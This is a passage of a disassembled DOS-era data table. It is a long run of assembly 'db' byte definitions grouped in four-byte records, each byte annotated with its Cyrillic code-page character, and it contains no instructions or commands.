		db  11h	;  
		db    5	;  
		db  85h	; ┘
		db  23h	; #
		db  11h	;  
		db    6	;  
		db  85h	; ┘
		db  24h	; $
		db    1	;  
		db    1	;  
		db  85h	; ┘
		db  25h	; %
		db 0F0h	; П
		db    1	;  
		db  85h	; ┘
		db  25h	; %
		db 0F0h	; П
		db  78h	; x
		db  85h	; ┘
		db  25h	; %
		db 0F0h	; П
		db  83h	; ┐
		db  85h	; ┘
		db  25h	; %
		db  38h	; 8
		db  70h	; p
		db  85h	; ┘
		db  25h	; %
		db  38h	; 8
		db  79h	; y
		db  85h	; ┘
		db  26h	; &
		db 0DDh	; щ
		db  17h	;  
		db  85h	; ┘
		db  26h	; &
		db 0DDh	; щ
		db  18h	;  
		db  85h	; ┘
		db  27h	; '
		db    3	;  
		db    5	;  
		db  85h	; ┘
		db  27h	; '
		db    5	;  
		db  0Ah	;  
		db  85h	; ┘
		db  28h	; (
		db    6	;  
		db    1	;  
		db  85h	; ┘
		db  28h	; (
		db    6	;  
		db    4	;  
		db  85h	; ┘
		db  2Ah	; *
		db  30h	; 0
		db    3	;  
		db  85h	; ┘
		db  2Ah	; *
		db  30h	; 0
		db    9	;  
		db  85h	; ┘
		db  2Bh	; +
		db 0A2h	; ╒
		db  3Ah	; :
		db  85h	; ┘
		db  2Bh	; +
		db 0FFh	;  
		db  17h	;  
		db  85h	; ┘
		db  2Bh	; +
		db  62h	; b
		db    3	;  
		db  85h	; ┘
		db  2Ch	; ,
		db    1	;  
		db  64h	; d
		db  85h	; ┘
		db  2Ch	; ,
		db    1	;  
		db  66h	; f
		db  85h	; ┘
		db  2Dh	; -
		db  40h	; @
		db    5	;  
		db  85h	; ┘
		db  2Dh	; -
		db    8	;  
		db  0Dh	;  
		db  85h	; ┘
		db  2Eh	; .
		db  0Fh	;  
		db    1	;  
		db  85h	; ┘
		db  2Eh	; .
		db  0Fh	;  
		db    2	;  
		db  85h	; ┘
		db  2Fh	; /
		db 0C0h	; ю
		db    2	;  
		db  85h	; ┘
		db  30h	; 0
		db  98h	; ≤
		db  64h	; d
		db  85h	; ┘
		db  30h	; 0
		db 0B6h	; І
		db  64h	; d
		db  85h	; ┘
		db  30h	; 0
		db  20h	;  
		db    1	;  
		db  85h	; ┘
		db  30h	; 0
		db  20h	;  
		db    5	;  
		db  85h	; ┘
		db  30h	; 0
		db  48h	; H
		db    2	;  
		db  85h	; ┘
		db  31h	; 1
		db    4	;  
		db    1	;  
		db  85h	; ┘
		db  31h	; 1
		db    4	;  
		db  16h	;  
		db  85h	; ┘
		db    5	;  
		db    1	;  
		db    6	;  
		db  85h	; ┘
		db    5	;  
		db  0Ah	;  
		db  69h	; i
		db  85h	; ┘
		db    5	;  
		db    6	;  
		db    1	;  
		db  85h	; ┘
		db  33h	; 3
		db  0Ch	;  
		db    4	;  
		db  85h	; ┘
		db  33h	; 3
		db  0Ch	;  
		db    5	;  
		db  85h	; ┘
		db  34h	; 4
		db  0Ah	;  
		db  3Dh	; =
		db  85h	; ┘
		db  34h	; 4
		db  0Ah	;  
		db  3Eh	; >
		db  85h	; ┘
		db  35h	; 5
		db 0F9h	; Ы
		db    1	;  
		db  85h	; ┘
		db  35h	; 5
		db 0F9h	; Ы
		db    2	;  
		db  85h	; ┘
		db  36h	; 6
		db 0BCh	; ╪
		db    6	;  
		db  85h	; ┘
		db  36h	; 6
		db 0F0h	; П
		db  0Bh	;  
		db  85h	; ┘
		db  37h	; 7
		db    2	;  
		db    2	;  
		db  85h	; ┘
		db  38h	; 8
		db  0Bh	;  
		db  0Ch	;  
		db  85h	; ┘
		db  39h	; 9
		db    1	;  
		db    5	;  
		db  85h	; ┘
		db  39h	; 9
		db  14h	;  
		db  14h	;  
		db  85h	; ┘
		db  3Ah	; :
		db    1	;  
		db  0Ch	;  
		db  85h	; ┘
		db    6	;  
		db    1	;  
		db    9	;  
		db  85h	; ┘
		db    6	;  
		db  84h	; └
		db    1	;  
		db  85h	; ┘
		db  3Ch	; <
		db  0Eh	;  
		db  65h	; e
		db  85h	; ┘
		db  3Ch	; <
		db 0F0h	; П
		db  0Eh	;  
		db  85h	; ┘
		db  3Eh	; >
		db  80h	; ─
		db  20h	;  
		db  85h	; ┘
		db  3Eh	; >
		db  80h	; ─
		db  21h	; !
		db  85h	; ┘
		db  3Fh	; ?
		db  14h	;  
		db    2	;  
		db  85h	; ┘
		db  40h	; @
		db    2	;  
		db  0Ah	;  
		db  85h	; ┘
		db  40h	; @
		db    2	;  
		db    9	;  
		db  85h	; ┘
		db  41h	; A
		db  10h	;  
		db  0Ah	;  
		db  85h	; ┘
		db  41h	; A
		db  10h	;  
		db    6	;  
		db  85h	; ┘
		db  42h	; B
		db    1	;  
		db  0Dh	;  
		db  85h	; ┘
		db  43h	; C
		db    1	;  
		db    1	;  
		db  85h	; ┘
		db  44h	; D
		db  15h	;  
		db 0C0h	; ю
		db  85h	; ┘
		db  45h	; E
		db  82h	; ┌
		db    4	;  
		db  85h	; ┘
		db    7	;  
		db    1	;  
		db  64h	; d
		db  85h	; ┘
		db  46h	; F
		db  80h	; ─
		db 0FEh	; Ч
		db  85h	; ┘
		db  46h	; F
		db  28h	; (
		db 0FDh	; Щ
		db  85h	; ┘
		db  47h	; G
		db    2	;  
		db  1Fh	;  
		db  85h	; ┘
		db  48h	; H
		db    1	;  
		db    4	;  
		db  85h	; ┘
		db  48h	; H
		db 0BFh	; ©
		db  16h	;  
		db  85h	; ┘
		db  49h	; I
		db 0FEh	; Ч
		db    2	;  
		db  85h	; ┘
		db  49h	; I
		db 0FEh	; Ч
		db    4	;  
		db  85h	; ┘
		db  4Ah	; J
		db    2	;  
		db  3Ch	; <
		db  85h	; ┘
		db  4Bh	; K
		db 0F2h	; Р
		db    1	;  
		db  85h	; ┘
		db  4Bh	; K
		db 0F2h	; Р
		db 0F7h	; В
		db  85h	; ┘
		db  4Dh	; M
		db  11h	;  
		db  0Ah	;  
		db  85h	; ┘
		db  4Eh	; N
		db 0DBh	; ш
		db    1	;  
		db  85h	; ┘
		db  4Eh	; N
		db 0DBh	; ш
		db    2	;  
		db  85h	; ┘
		db    8	;  
		db  21h	; !
		db 0C2h	; б
		db  85h	; ┘
		db  50h	; P
		db  0Bh	;  
		db  64h	; d
		db  85h	; ┘
		db  50h	; P
		db  80h	; ─
		db    5	;  
		db  85h	; ┘
		db  51h	; Q
		db  9Dh	; ²
		db    1	;  
		db  85h	; ┘
		db  51h	; Q
		db 0A1h	; ║
		db    6	;  
		db  85h	; ┘
		db  52h	; R
		db  0Fh	;  
		db  40h	; @
		db  85h	; ┘
		db  52h	; R
		db 0FEh	; Ч
		db  0Ah	;  
		db  85h	; ┘
		db  53h	; S
		db    1	;  
		db    1	;  
		db  85h	; ┘
		db  53h	; S
		db    2	;  
		db    4	;  
		db  85h	; ┘
		db  53h	; S
		db    4	;  
		db    1	;  
		db  85h	; ┘
		db  53h	; S
		db    4	;  
		db    4	;  
		db  85h	; ┘
		db  55h	; U
		db  64h	; d
		db    2	;  
		db  85h	; ┘
		db  56h	; V
		db  13h	;  
		db    6	;  
		db  85h	; ┘
		db  57h	; W
		db    1	;  
		db  0Bh	;  
		db  85h	; ┘
		db  57h	; W
		db  80h	; ─
		db  0Ah	;  
		db  85h	; ┘
		db  58h	; X
		db 0E8h	; Х
		db    2	;  
		db  85h	; ┘
		db  59h	; Y
		db    3	;  
		db    1	;  
		db  85h	; ┘
		db    9	;  
		db    1	;  
		db    3	;  
		db  85h	; ┘
		db    9	;  
		db    1	;  
		db    4	;  
		db  85h	; ┘
		db  5Bh	; [
		db  87h	; ┤
		db    8	;  
		db  85h	; ┘
		db  5Bh	; [
		db  28h	; (
		db    8	;  
		db  85h	; ┘
		db  5Ch	; \
		db    6	;  
		db  11h	;  
		db  85h	; ┘
		db  5Ch	; \
		db    6	;  
		db  12h	;  
		db  85h	; ┘
		db  5Eh	; ^
		db    1	;  
		db    3	;  
		db  85h	; ┘
		db  5Eh	; ^
		db    1	;  
		db    4	;  
		db  85h	; ┘
		db  5Fh	; _
		db    1	;  
		db    7	;  
		db  85h	; ┘
		db  5Fh	; _
		db  0Ah	;  
		db    3	;  
		db  85h	; ┘
		db  60h	; `
		db  68h	; h
		db    1	;  
		db  85h	; ┘
		db  60h	; `
		db  68h	; h
		db    3	;  
		db  85h	; ┘
		db  61h	; a
		db    1	;  
		db    5	;  
		db  85h	; ┘
		db  62h	; b
		db  10h	;  
		db    2	;  
		db  85h	; ┘
		db  63h	; c
		db 0A2h	; ╒
		db    2	;  
		db  86h	; ├
		db    1	;  
		db  0Dh	;  
		db    1	;  
		db  86h	; ├
		db    1	;  
		db    2	;  
		db 0FBh	; Ш
		db  86h	; ├
		db  64h	; d
		db    9	;  
		db  3Dh	; =
		db  86h	; ├
		db  65h	; e
		db  10h	;  
		db    1	;  
		db  86h	; ├
		db  65h	; e
		db  1Ch	;  
		db  64h	; d
		db  86h	; ├
		db  65h	; e
		db  1Ch	;  
		db  6Bh	; k
		db  86h	; ├
		db  66h	; f
		db  14h	;  
		db  14h	;  
		db  86h	; ├
		db  67h	; g
		db  20h	;  
		db    2	;  
		db  86h	; ├
		db  67h	; g
		db  20h	;  
		db  16h	;  
		db  86h	; ├
		db  68h	; h
		db  1Eh	;  
		db  5Fh	; _
		db  86h	; ├
		db  69h	; i
		db  13h	;  
		db    9	;  
		db  86h	; ├
		db  6Ah	; j
		db  28h	; (
		db    3	;  
		db  86h	; ├
		db  6Bh	; k
		db    2	;  
		db 0B4h	; Є
		db  86h	; ├
		db  6Ch	; l
		db  38h	; 8
		db    1	;  
		db  86h	; ├
		db  6Dh	; m
		db  84h	; └
		db  33h	; 3
		db  86h	; ├
		db  6Dh	; m
		db  84h	; └
		db  37h	; 7
		db  86h	; ├
		db  6Eh	; n
		db  12h	;  
		db  0Bh	;  
		db  86h	; ├
		db  6Eh	; n
		db  28h	; (
		db    5	;  
		db  86h	; ├
		db  6Fh	; o
		db  12h	;  
		db  0Eh	;  
		db  86h	; ├
		db  6Fh	; o
		db  12h	;  
		db    9	;  
		db  86h	; ├
		db  72h	; r
		db  8Ah	; ┼
		db    3	;  
		db  86h	; ├
		db  72h	; r
		db 0FEh	; Ч
		db  0Fh	;  
		db  86h	; ├
		db  72h	; r
		db  60h	; `
		db    4	;  
		db  86h	; ├
		db  73h	; s
		db    4	;  
		db  21h	; !
		db  86h	; ├
		db  73h	; s
		db    4	;  
		db  22h	; "
		db  86h	; ├
		db  73h	; s
		db    8	;  
		db  21h	; !
		db  86h	; ├
		db  75h	; u
		db    1	;  
		db    1	;  
		db  86h	; ├
		db  75h	; u
		db    1	;  
		db  0Bh	;  
		db  86h	; ├
		db  0Ch	;  
		db    1	;  
		db    1	;  
		db  86h	; ├
		db  78h	; x
		db    3	;  
		db    2	;  
		db  86h	; ├
		db  79h	; y
		db  82h	; ┌
		db  1Eh	;  
		db  86h	; ├
		db  79h	; y
		db  86h	; ├
		db    1	;  
		db  86h	; ├
		db  79h	; y
		db  10h	;  
		db    1	;  
		db  86h	; ├
		db  79h	; y
		db    2	;  
		db  36h	; 6
		db  86h	; ├
		db  79h	; y
		db  2Dh	; -
		db  11h	;  
		db  86h	; ├
		db  79h	; y
		db  40h	; @
		db    1	;  
		db  86h	; ├
		db  79h	; y
		db  40h	; @
		db    2	;  
		db  86h	; ├
		db  7Ah	; z
		db    2	;  
		db  14h	;  
		db  86h	; ├
		db  7Ch	; |
		db  0Fh	;  
		db  0Dh	;  
		db  86h	; ├
		db  7Ch	; |
		db  0Fh	;  
		db  88h	; ┬
		db  86h	; ├
		db  7Dh	; }
		db  46h	; F
		db    1	;  
		db  86h	; ├
		db  7Eh	; ~
		db  0Ah	;  
		db  0Bh	;  
		db  86h	; ├
		db  7Eh	; ~
		db  0Ah	;  
		db  1Eh	;  
		db  86h	; ├
		db  81h	; │
		db  6Fh	; o
		db  6Fh	; o
		db  86h	; ├
		db  81h	; │
		db 0C9h	; и
		db  1Dh	;  
		db  86h	; ├
		db  84h	; └
		db    1	;  
		db    2	;  
		db  86h	; ├
		db  85h	; ┘
		db 0C8h	; х
		db  19h	;  
		db  86h	; ├
		db  85h	; ┘
		db 0C8h	; х
		db  1Ah	;  
		db  86h	; ├
		db  86h	; ├
		db 0F8h	; Ь
		db    3	;  
		db  86h	; ├
		db  8Bh	; ▀
		db    1	;  
		db    2	;  
		db  86h	; ├
		db  8Ch	; ▄
		db  70h	; p
		db    3	;  
		db  86h	; ├
		db  92h	; ▓
		db    0	;  
		db  12h	;  
		db  86h	; ├
		db  92h	; ▓
		db    9	;  
		db    4	;  
		db  86h	; ├
		db  93h	; ⌠
		db 0DEh	; ч
		db    4	;  
		db  86h	; ├
		db  93h	; ⌠
		db  20h	;  
		db  28h	; (
		db  86h	; ├
		db  94h	; ■
		db  18h	;  
		db    1	;  
		db  86h	; ├
		db  94h	; ■
		db  18h	;  
		db    3	;  
		db  86h	; ├
		db  97h	; ≈
		db  4Fh	; O
		db  0Ch	;  
		db  86h	; ├
		db  97h	; ≈
		db  4Fh	; O
		db  0Fh	;  
		db  86h	; ├
		db  98h	; ≤
		db 0B4h	; Є
		db  64h	; d
		db  86h	; ├
		db  99h	; ≥
		db    2	;  
		db  17h	;  
		db  86h	; ├
		db  99h	; ≥
		db    2	;  
		db  5Ah	; Z
		db  86h	; ├
		db  9Ah	;  
		db    1	;  
		db    5	;  
		db  86h	; ├
		db  9Bh	; ⌡
		db  32h	; 2
		db  34h	; 4
		db  86h	; ├
		db  9Ch	; °
		db  64h	; d
		db    1	;  
		db  86h	; ├
		db  9Dh	; ²
		db    0	;  
		db  81h	; │
		db  86h	; ├
		db  9Dh	; ²
		db    8	;  
		db  18h	;  
		db  86h	; ├
		db  9Eh	; ·
		db  45h	; E
		db  68h	; h
		db  86h	; ├
		db  9Eh	; ·
		db  45h	; E
		db 0BFh	; ©
		db  86h	; ├
		db 0A0h	; ═
		db  21h	; !
		db    4	;  
		db  86h	; ├
		db 0A0h	; ═
		db    4	;  
		db    5	;  
		db  86h	; ├
		db 0A1h	; ║
		db    1	;  
		db  0Bh	;  
		db  86h	; ├
		db 0A1h	; ║
		db    1	;  
		db  20h	;  
		db  86h	; ├
		db 0A3h	; ё
		db 0FDh	; Щ
		db    1	;  
		db  86h	; ├
		db 0A3h	; ё
		db 0FDh	; Щ
		db  0Ah	;  
		db  86h	; ├
		db 0A9h	; ╘
		db  20h	;  
		db    1	;  
		db  86h	; ├
		db 0A9h	; ╘
		db    9	;  
		db  6Bh	; k
		db  86h	; ├
		db 0ADh	; ґ
		db 0FEh	; Ч
		db  17h	;  
		db  86h	; ├
		db 0B0h	; ╟
		db    2	;  
		db    5	;  
		db  86h	; ├
		db 0B0h	; ╟
		db    2	;  
		db    7	;  
		db  86h	; ├
		db 0B2h	; ╡
		db    8	;  
		db  63h	; c
		db  86h	; ├
		db 0B3h	; Ё
		db  70h	; p
		db  16h	;  
		db  86h	; ├
		db 0B4h	; Є
		db 0EFh	; О
		db    3	;  
		db  86h	; ├
		db 0B4h	; Є
		db  31h	; 1
		db    3	;  
		db  86h	; ├
		db 0B5h	; ╣
		db  80h	; ─
		db    1	;  
		db  86h	; ├
		db 0B5h	; ╣
		db  80h	; ─
		db    3	;  
		db  86h	; ├
		db 0B8h	; ╦
		db  0Fh	;  
		db  0Dh	;  
		db  86h	; ├
		db 0B8h	; ╦
		db 0FAh	; З
		db    7	;  
		db  86h	; ├
		db 0BAh	; ╨
		db 0FEh	; Ч
		db 0FCh	; Э
		db  86h	; ├
		db 0BAh	; ╨
		db    4	;  
		db 0FDh	; Щ
		db  86h	; ├
		db 0BCh	; ╪
		db    1	;  
		db    2	;  
		db  86h	; ├
		db 0C0h	; ю
		db    1	;  
		db    5	;  
		db  86h	; ├
		db 0C0h	; ю
		db  40h	; @
		db  1Ah	;  
		db  86h	; ├
		db 0C1h	; а
		db    1	;  
		db    2	;  
		db  86h	; ├
		db 0C1h	; а
		db    1	;  
		db    4	;  
		db  86h	; ├
		db 0C1h	; а
		db  53h	; S
		db    4	;  
		db  86h	; ├
		db 0C5h	; е
		db    5	;  
		db    1	;  
		db  86h	; ├
		db 0C5h	; е
		db    6	;  
		db    1	;  
		db  86h	; ├
		db 0C6h	; ф
		db  0Ah	;  
		db  0Ah	;  
		db  86h	; ├
		db    2	;  
		db 0C8h	; х
		db    1	;  
		db  86h	; ├
		db 0C9h	; и
		db  0Ch	;  
		db  0Ah	;  
		db  86h	; ├
		db 0C9h	; и
		db  0Ch	;  
		db  0Bh	;  
		db  86h	; ├
		db 0CAh	; й
		db    1	;  
		db  78h	; x
		db  86h	; ├
		db 0CDh	; м
		db  7Bh	; {
		db  94h	; ■
		db  86h	; ├
		db 0CDh	; м
		db  83h	; ┐
		db    6	;  
		db  86h	; ├
		db 0CEh	; н
		db    1	;  
		db  0Fh	;  
		db  86h	; ├
		db 0CEh	; н
		db    1	;  
		db    4	;  
		db  86h	; ├
		db 0CEh	; н
		db  0Ah	;  
		db  12h	;  
		db  86h	; ├
		db 0CFh	; о
		db  0Ah	;  
		db 0A0h	; ═
		db  86h	; ├
		db 0CFh	; о
		db  0Ah	;  
		db  44h	; D
		db  86h	; ├
		db  15h	;  
		db    1	;  
		db  1Fh	;  
		db  86h	; ├
		db  15h	;  
		db  0Eh	;  
		db  32h	; 2
		db  86h	; ├
		db 0D2h	; р
		db    1	;  
		db  11h	;  
		db  86h	; ├
		db 0D2h	; р
		db    4	;  
		db    2	;  
		db  86h	; ├
		db 0D4h	; т
		db 0BEh	; Ў
		db    2	;  
		db  86h	; ├
		db 0D4h	; т
		db 0BEh	; Ў
		db    3	;  
		db  86h	; ├
		db 0D6h	; ж
		db  64h	; d
		db 0F5h	; У
		db  86h	; ├
		db 0D6h	; ж
		db  64h	; d
		db    6	;  
		db  86h	; ├
		db 0D8h	; ь
		db  1Ah	;  
		db    1	;  
		db  86h	; ├
		db 0DBh	; ш
		db 0C8h	; х
		db  6Ch	; l
		db  86h	; ├
		db 0DBh	; ш
		db  2Ch	; ,
		db  34h	; 4
		db  86h	; ├
		db 0DCh	; э
		db    1	;  
		db  14h	;  
		db  86h	; ├
		db 0DCh	; э
		db    1	;  
		db  27h	; '
		db  86h	; ├
		db 0DCh	; э
		db 0C0h	; ю
		db  1Ah	;  
		db  86h	; ├
		db 0DDh	; щ
		db    1	;  
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db  7Ah	; z
		db  0Ah	;  
		db  86h	; ├
		db 0DDh	; щ
		db  7Ch	; |
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db  82h	; ┌
		db    1	;  
		db  86h	; ├
		db 0DDh	; щ
		db  8Ch	; ▄
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db 0A0h	; ═
		db 0C6h	; ф
		db  86h	; ├
		db 0DDh	; щ
		db 0ABh	; ╚
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db 0B0h	; ╟
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db    2	;  
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db    2	;  
		db    8	;  
		db  86h	; ├
		db 0DDh	; щ
		db 0F9h	; Ы
		db    1	;  
		db  86h	; ├
		db 0DDh	; щ
		db  3Ah	; :
		db    2	;  
		db  86h	; ├
		db 0DDh	; щ
		db  43h	; C
		db    3	;  
		db  86h	; ├
		db 0DDh	; щ
		db  50h	; P
		db  21h	; !
		db  86h	; ├
		db 0DDh	; щ
		db  5Bh	; [
		db  45h	; E
		db  86h	; ├
		db 0E0h	; Ю
		db    1	;  
		db  1Dh	;  
		db  86h	; ├
		db 0E0h	; Ю
		db    1	;  
		db  23h	; #
		db  86h	; ├
		db 0E1h	; А
		db  20h	;  
		db  0Bh	;  
		db  86h	; ├
		db 0E1h	; А
		db  20h	;  
		db  0Ch	;  
		db  86h	; ├
		db 0E2h	; Б
		db    1	;  
		db  72h	; r
		db  86h	; ├
		db 0E2h	; Б
		db    1	;  
		db  18h	;  
		db  86h	; ├
		db 0E2h	; Б
		db    1	;  
		db  1Ch	;  
		db  86h	; ├
		db 0E2h	; Б
		db  51h	; Q
		db  0Bh	;  
		db  86h	; ├
		db 0E7h	; Г
		db    4	;  
		db  16h	;  
		db  86h	; ├
		db 0E7h	; Г
		db    4	;  
		db  21h	; !
		db  86h	; ├
		db 0EDh	; М
		db 0FAh	; З
		db  32h	; 2
		db  86h	; ├
		db 0EFh	; О
		db  54h	; T
		db    2	;  
		db  86h	; ├
		db 0F1h	; Я
		db    1	;  
		db    3	;  
		db  86h	; ├
		db 0F1h	; Я
		db  0Bh	;  
		db  1Ah	;  
		db  86h	; ├
		db 0F1h	; Я
		db  75h	; u
		db    3	;  
		db  86h	; ├
		db 0F1h	; Я
		db  86h	; ├
		db    1	;  
		db  86h	; ├
		db 0F1h	; Я
		db  8Ch	; ▄
		db 0F7h	; В
		db  86h	; ├
		db 0F1h	; Я
		db  9Fh	; ÷
		db 0FCh	; Э
		db  86h	; ├
		db 0F1h	; Я
		db 0ACh	; ╛
		db    1	;  
		db  86h	; ├
		db 0F1h	; Я
		db 0C0h	; ю
		db    3	;  
		db  86h	; ├
		db 0F1h	; Я
		db  15h	;  
		db    1	;  
		db  86h	; ├
		db 0F1h	; Я
		db 0DDh	; щ
		db  6Dh	; m
		db  86h	; ├
		db 0F1h	; Я
		db  17h	;  
		db    7	;  
		db  86h	; ├
		db 0F1h	; Я
		db  19h	;  
		db    1	;  
		db  86h	; ├
		db 0F1h	; Я
		db 0FBh	; Ш
		db    1	;  
		db  86h	; ├
		db 0F1h	; Я
		db  1Fh	;  
		db    1	;  
		db  86h	; ├
		db 0F1h	; Я
		db  2Bh	; +
		db  27h	; '
		db  86h	; ├
		db 0F1h	; Я
		db  34h	; 4
		db    5	;  
		db  86h	; ├
		db 0F1h	; Я
		db  37h	; 7
		db  3Eh	; >
		db  86h	; ├
		db 0F1h	; Я
		db  5Ch	; \
		db 0C8h	; х
		db  86h	; ├
		db 0F3h	; С
		db  32h	; 2
		db    9	;  
		db  86h	; ├
		db 0F4h	; Т
		db  40h	; @
		db  0Bh	;  
		db  86h	; ├
		db 0F5h	; У
		db    1	;  
		db    2	;  
		db  86h	; ├
		db 0F5h	; У
		db    1	;  
		db  24h	; $
		db  86h	; ├
		db 0F5h	; У
		db  0Ah	;  
		db    7	;  
		db  86h	; ├
		db 0F6h	; Ж
		db  9Bh	; ⌡
		db    1	;  
		db  86h	; ├
		db 0F6h	; Ж
		db 0A6h	; і
		db    1	;  
		db  86h	; ├
		db 0F7h	; В
		db    4	;  
		db  14h	;  
		db  86h	; ├
		db 0FAh	; З
		db    2	;  
		db    3	;  
		db  86h	; ├
		db 0FAh	; З
		db    2	;  
		db    6	;  
		db  86h	; ├
		db 0FCh	; Э
		db  0Ah	;  
		db  10h	;  
		db  86h	; ├
		db 0FCh	; Э
		db 0EFh	; О
		db    4	;  
		db  86h	; ├
		db  1Ch	;  
		db 0CAh	; й
		db  0Eh	;  
		db  86h	; ├
		db  1Ch	;  
		db 0CDh	; м
		db  0Eh	;  
		db  86h	; ├
		db  1Eh	;  
		db  0Fh	;  
		db  18h	;  
		db  86h	; ├
		db  1Eh	;  
		db    5	;  
		db  13h	;  
		db  86h	; ├
		db  20h	;  
		db  1Ah	;  
		db  0Ah	;  
		db  86h	; ├
		db  22h	; "
		db    3	;  
		db    2	;  
		db  86h	; ├
		db  22h	; "
		db    3	;  
		db    3	;  
		db  86h	; ├
		db  23h	; #
		db    2	;  
		db    1	;  
		db  86h	; ├
		db  24h	; $
		db    2	;  
		db  3Ch	; <
		db  86h	; ├
		db  27h	; '
		db    2	;  
		db  76h	; v
		db  86h	; ├
		db    4	;  
		db  0Ah	;  
		db  0Ah	;  
		db  86h	; ├
		db  2Fh	; /
		db  6Dh	; m
		db  0Bh	;  
		db  86h	; ├
		db  2Fh	; /
		db  6Dh	; m
		db  0Ch	;  
		db  86h	; ├
		db  30h	; 0
		db    1	;  
		db  1Fh	;  
		db  86h	; ├
		db  30h	; 0
		db    1	;  
		db  20h	;  
		db  86h	; ├
		db  31h	; 1
		db  40h	; @
		db    1	;  
		db  86h	; ├
		db  32h	; 2
		db 0FEh	; Ч
		db    5	;  
		db  86h	; ├
		db  35h	; 5
		db 0FDh	; Щ
		db    1	;  
		db  86h	; ├
		db  37h	; 7
		db    6	;  
		db  82h	; ┌
		db  86h	; ├
		db  38h	; 8
		db    3	;  
		db  65h	; e
		db  86h	; ├
		db  38h	; 8
		db    3	;  
		db  66h	; f
		db  86h	; ├
		db  3Ah	; :
		db  7Eh	; ~
		db    3	;  
		db  86h	; ├
		db  3Ah	; :
		db  7Fh	; 
		db    1	;  
		db  86h	; ├
		db  3Ah	; :
		db  38h	; 8
		db  99h	; ≥
		db  86h	; ├
		db  3Bh	; ;
		db    1	;  
		db    1	;  
		db  86h	; ├
		db  3Bh	; ;
		db    1	;  
		db    7	;  
		db  86h	; ├
		db    6	;  
		db  4Ch	; L
		db    3	;  
		db  86h	; ├
		db  3Ch	; <
		db    1	;  
		db  6Fh	; o
		db  86h	; ├
		db  3Ch	; <
		db  0Ah	;  
		db    1	;  
		db  86h	; ├
		db  3Ch	; <
		db  42h	; B
		db  15h	;  
		db  86h	; ├
		db  41h	; A
		db    2	;  
		db  83h	; ┐
		db  86h	; ├
		db  41h	; A
		db    2	;  
		db  84h	; └
		db  86h	; ├
		db  43h	; C
		db 0D0h	; п
		db  0Ah	;  
		db  86h	; ├
		db  43h	; C
		db 0D0h	; п
		db    5	;  
		db  86h	; ├
		db  44h	; D
		db    1	;  
		db    2	;  
		db  86h	; ├
		db  44h	; D
		db    1	;  
		db    9	;  
		db  86h	; ├
		db    7	;  
		db  46h	; F
		db  7Ch	; |
		db  86h	; ├
		db  46h	; F
		db    2	;  
		db  64h	; d
		db  86h	; ├
		db  47h	; G
		db    4	;  
		db  64h	; d
		db  86h	; ├
		db  47h	; G
		db    5	;  
		db  64h	; d
		db  86h	; ├
		db  4Ah	; J
		db  80h	; ─
		db    7	;  
		db  86h	; ├
		db  4Ah	; J
		db 0C0h	; ю
		db    2	;  
		db  86h	; ├
		db  4Ah	; J
		db 0C0h	; ю
		db    6	;  
		db  86h	; ├
		db  4Bh	; K
		db  7Ah	; z
		db    2	;  
		db  86h	; ├
		db  4Bh	; K
		db 0E2h	; Б
		db    2	;  
		db  86h	; ├
		db  4Bh	; K
		db  1Eh	;  
		db    1	;  
		db  86h	; ├
		db  4Bh	; K
		db  60h	; `
		db  96h	; √
		db  86h	; ├
		db  4Ch	; L
		db  0Ah	;  
		db  2Eh	; .
		db  86h	; ├
		db  4Ch	; L
		db  62h	; b
		db    2	;  
		db  86h	; ├
		db  4Fh	; O
		db  10h	;  
		db  0Ah	;  
		db  86h	; ├
		db  4Fh	; O
		db  10h	;  
		db    9	;  
		db  86h	; ├
		db  52h	; R
		db    7	;  
		db 0FDh	; Щ
		db  86h	; ├
		db  53h	; S
		db  6Ch	; l
		db    1	;  
		db  86h	; ├
		db  53h	; S
		db  80h	; ─
		db  3Eh	; >
		db  86h	; ├
		db  53h	; S
		db  1Eh	;  
		db    3	;  
		db  86h	; ├
		db  54h	; T
		db  54h	; T
		db  54h	; T
		db  86h	; ├
		db  57h	; W
		db  70h	; p
		db    1	;  
		db  86h	; ├
		db  58h	; X
		db    1	;  
		db    1	;  
		db  86h	; ├
		db  5Bh	; [
		db    4	;  
		db  0Bh	;  
		db  86h	; ├
		db  5Bh	; [
		db    4	;  
		db    3	;  
		db  86h	; ├
		db  5Dh	; ]
		db  90h	; ░
		db    7	;  
		db  86h	; ├
		db  5Eh	; ^
		db  50h	; P
		db    2	;  
		db  86h	; ├
		db  5Fh	; _
		db  64h	; d
		db 0D0h	; п
		db  86h	; ├
		db  5Fh	; _
		db  64h	; d
		db 0D1h	; я
		db  86h	; ├
		db  60h	; `
		db 0FCh	; Э
		db  14h	;  
		db  86h	; ├
		db  60h	; `
		db 0FEh	; Ч
		db    1	;  
		db  86h	; ├
		db  60h	; `
		db    7	;  
		db    7	;  
		db  86h	; ├
		db  63h	; c
		db  80h	; ─
		db    5	;  
		db  87h	; ┤
		db 0C5h	; е
		db    3	;  
		db  0Bh	;  
		db  87h	; ┤
		db 0CEh	; н
		db 0FFh	;  
		db  43h	; C
		db  87h	; ┤
		db 0CEh	; н
		db  3Fh	; ?
		db    2	;  
		db  87h	; ┤
		db  5Ah	; Z
		db  18h	;  
		db    1	;  
		db  87h	; ┤
		db  5Ah	; Z
		db  19h	;  
		db    1	;  
		db  88h	; ┬
		db    1	;  
		db    1	;  
		db  14h	;  
		db  88h	; ┬
		db  8Dh	; █
		db    2	;  
		db  0Ch	;  
		db  88h	; ┬
		db  8Dh	; █
		db    2	;  
		db  0Dh	;  
		db  88h	; ┬
		db  8Dh	; █
		db    2	;  
		db    7	;  
		db  88h	; ┬
		db  8Dh	; █
		db    2	;  
		db    8	;  
		db  88h	; ┬
		db  8Eh	; ▌
		db  0Fh	;  
		db  0Ah	;  
		db  88h	; ┬
		db  8Eh	; ▌
		db 0BCh	; ╪
		db  49h	; I
		db  88h	; ┬
		db  8Eh	; ▌
		db  39h	; 9
		db  0Ah	;  
		db  88h	; ┬
		db  8Eh	; ▌
		db  4Fh	; O
		db    5	;  
		db  88h	; ┬
		db  8Fh	; ▐
		db  95h	; ∙
		db  0Bh	;  
		db  88h	; ┬
		db  91h	; ▒
		db    1	;  
		db    4	;  
		db  88h	; ┬
		db  94h	; ■
		db    1	;  
		db    1	;  
		db  88h	; ┬
		db  94h	; ■
		db    1	;  
		db  0Ah	;  
		db  88h	; ┬
		db  99h	; ≥
		db    2	;  
		db    2	;  
